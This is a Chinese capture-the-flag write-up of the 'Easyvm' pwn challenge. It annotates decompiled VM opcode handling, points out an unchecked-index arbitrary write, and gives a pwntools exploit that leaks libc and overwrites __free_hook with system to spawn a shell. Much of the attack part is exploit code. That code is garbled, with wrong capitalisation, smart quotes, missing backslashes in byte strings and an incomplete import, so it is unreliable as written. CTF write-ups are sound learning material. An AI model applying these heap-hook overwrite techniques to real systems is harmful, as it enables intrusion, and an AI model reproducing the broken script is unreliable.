高校战役Easyvm
前言:本人tcl,刚接触vm不久,这个看了别人的wp感觉难度还可以,决定自己复现一下大佬勿喷哈
此题思路:就是依靠任意地址写来打freehook,然后再一把唆onegadget可以system也可以!!
int __cdecl main(int argc, const char argv, const char **envp)
{
void *buf; // ST2C_4
_DWORD *ptr; // [esp+18h] [ebp-18h]
int v5; // [esp+ACh] [ebp+7Ch]
sub_830();
ptr = sub_DD5();//数组表0-10,其中10是calloc
while ( 1 )
{
switch ( sub_931() )
{
case 1:
buf = malloc(0x300u);
read(0, buf, 0x2FFu);
ptr[8] = buf;//将数据opcode读取到了ptr[8]
break;
case 2:
if ( !ptr )
exit(0);
sub_A16(ptr); //(1) opcode
break;
case 3:
if ( !ptr )
exit(0);
free((void *)ptr[10]);
free(ptr);
break;
case 4:
puts("Maybe a bug is a gif?");
dword_305C = v5;//经过反复测试存在了一个libc地址
ptr[8] = &unk_3020; //(2)opcode表
break;
case 5:
puts("Zzzzzz........");
exit(0);
return;
default:
puts("Are you kidding me ?");
break;
}
}
}
以上是主函数的逻辑,也没啥,就是可以往freehook去想
我们看看opcode指令有那些:
(1):
*unsigned int __cdecl sub_A16(_DWORD a1)
{
int v1; // ecx
_BYTE *v2; // ST28_4
unsigned int result; // eax
unsigned int v4; // et1
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
while ( 1 )
{
if ( *(_BYTE *)a1[8] == 113 )
{
a1[6] -= 4;
*(_DWORD *)a1[6] = *(_DWORD *)(a1[8] + 1);
a1[8] += 5;
}
if ( *(_BYTE *)a1[8] == 65 )
{
a1[1] += a1[2];//add
++a1[8];
}
if ( *(_BYTE *)a1[8] == 66 )
{
a1[1] -= a1[4]; //sub
++a1[8];
}
if ( *(_BYTE *)a1[8] == 67 )
{
a1[1] *= a1[3];
++a1[8];
}
if ( *(_BYTE *)a1[8] == 68 )
{
a1[1] /= a1[5];
++a1[8];
}
if ( *(_BYTE *)a1[8] == 0x80u )
{
a1[sub_9C3((int)a1, 1u)] = *(_DWORD *)(a1[8] + 2); //漏洞点,由于索引没有经过严格的控制所以存在漏洞,可以达到任意地址写
a1[8] += 6;
}
if ( *(_BYTE *)a1[8] == 119 )
{
a1[1] ^= a1[9];
++a1[8];
}
if ( *(_BYTE *)a1[8] == 83 )
{
putchar(*(char *)a1[3]); //可以用来泄露我们的东西
a1[8] += 2;
}
if ( *(_BYTE *)a1[8] == 34 )
{
v1 = a1[2];
a1[1] >>= v1;
++a1[8];
}
if ( *(_BYTE *)a1[8] == 35 )
{
v1 = a1[2];
a1[1] <<= v1;
++a1[8];
}
if ( *(_BYTE *)a1[8] == -103 )
break;
if ( *(_BYTE *)a1[8] == 118 )
{
a1[3] = *(_DWORD *)a1[6];
*(_DWORD *)a1[6] = 0;
a1[6] += 4;
a1[8] += 5;
}
if ( *(_BYTE *)a1[8] == 84 )
{
v2 = (_BYTE *)a1[3];
*v2 = getchar(); //真正的写入数据任意地址写,一次能写一个字节
a1[8] += 2;
}
if ( *(_BYTE *)a1[8] == 48 )
{
a1[1] |= a1[2];
++a1[8];
}
if ( *(_BYTE *)a1[8] == 49 )
{
a1[1] &= a1[2];
++a1[8];
}
if ( *(_BYTE *)a1[8] == 9 )
{
a1[1] = dword_305C; 可以发现把libc地址赋值给了它
++a1[8];
}
if ( *(_BYTE *)a1[8] == 16 )
{
a1[9] = a1[1];
++a1[8];
}
if ( *(_BYTE *)a1[8] == 17 )
{
printf("%p\n", a1[1]);//这里泄露libc
++a1[8];
}
}
v4 = __readgsdword(0x14u);
result = v4 ^ v5;
if ( v4 != v5 )
sub_1080(v1);
return result;
}
主要的程序已分析完毕,现在开始写exp:
from pwn import
P=process(‘easyvm’)
def add(content):
p.sendlineafter(“>>>”,’1’)
p.send(content)
def free():
p.sendlineafter(“>>>”,’3’)
p.sendlineafter(‘>>>’,’4’)
Op1=’x09x11x99’
Add(op1)
p.sendlineafter(‘>>>’,’2’)
p.recvuntil(‘0x’)
Free_got=int(p.recv(8),16)+0x28fc
Libc_base=’’
for i in range(4):
Op2=’x80’+chr(3)+p32(free_got+i)+’x53’+’x99’+’x99’
Add(op2)
P.sendlineafter(‘>>>’,2)
Libc_base+=p.recvuntil(‘duce’,True)[-1:]
System=libc_base+libc.sym[‘system’]
bin_addr=libc_base+next(libc.search(‘/bin/shx00’))
Free_hook=libc_base+libc.sym[‘free_hook’]
For i in range(4):
op3=’\x80’+chr(3)+p32(free_hook+i)+’\x54’+’\x99’
Add(op3)
p.sendlineafter(‘>>>’,’2’)
P.send(p32(system)[i])
For i in range(4):
Op4=’\x80’+chr(16)+p32(bin_addr+i)+’\x99’+’\x99’
Add(op4)
p.sendlineafter(‘>>>’,’2’)
Free()
P.interactive()
总结:这道vm题难度尚可,对于我这种刚接触vm题型的人来说比较容易,也欢迎大佬门来喷我!!!!tcl